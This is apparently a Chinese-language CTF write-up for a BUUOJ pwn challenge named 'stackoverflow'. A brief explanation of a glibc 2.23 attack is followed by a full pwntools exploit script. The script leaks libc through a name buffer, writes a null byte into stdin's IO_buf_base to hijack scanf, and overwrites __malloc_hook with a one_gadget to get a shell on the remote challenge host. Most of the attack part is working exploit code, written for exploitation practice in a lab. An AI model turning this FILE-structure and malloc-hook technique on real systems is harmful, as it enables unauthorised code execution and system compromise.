首先,检查一下程序的保护机制
然后,我们用IDA分析一下
输入name的功能可以用于地址泄露
在主功能里,存在一个glibc任意地址写入一个0字节的漏洞,我们可以通过malloc一个很大的堆,这样系统调用mmap分配内存,其地址靠近glibc地址,并且偏移固定,这样,我们就能玩glibc里任意地址写一个x00字节,我们可以劫持_IO_2_1_stdin里的IO_buf_base成员低1字节为x00,这样,我们调用scanf的时候,就能控制IO_2_1_stdin结构体,然后,我们将IO_buf_base等成员改成malloc_hook_addr,这样,然后经过多次getc,最后平衡后就scanf可以往malloc_hook_addr处写数据了,写入one_gadget即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') #sh = process('./stackoverflow') sh = remote('node3.buuoj.cn',26391) sh.sendafter('leave your name, bro:','a'*0x20) sh.recvuntil('a'*0x20) libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.sym['_IO_2_1_stdout_'] one_gadget_addr = libc_base + 0xf1147 malloc_hook_addr = libc_base + libc.sym['__malloc_hook'] print 'libc_base=',hex(libc_base) print 'one_gadget_addr=',hex(one_gadget_addr) print 'malloc_hook_addr=',hex(malloc_hook_addr) #覆盖stdin的_IO_write_ptr的低1字节为0 sh.sendlineafter('please input the size to trigger stackoverflow:',str(0x6C5908)) sh.sendlineafter('please input the size to trigger stackoverflow:',str(0x300000)) raw_input() sh.sendlineafter('padding and ropchain:','haivk') sh.sendafter('please input the size to trigger stackoverflow:',p64(malloc_hook_addr)*2 + p64(malloc_hook_addr + 0x8) + p64(malloc_hook_addr) + p64(malloc_hook_addr + 0x8)) sh.sendlineafter('padding and ropchain:','haivk') for i in range(39): sh.sendlineafter('please input the size to trigger stackoverflow:',str('1')) #写malloc_hook sh.sendlineafter('please input the size to trigger stackoverflow:',p64(one_gadget_addr))
sh.interactive()
|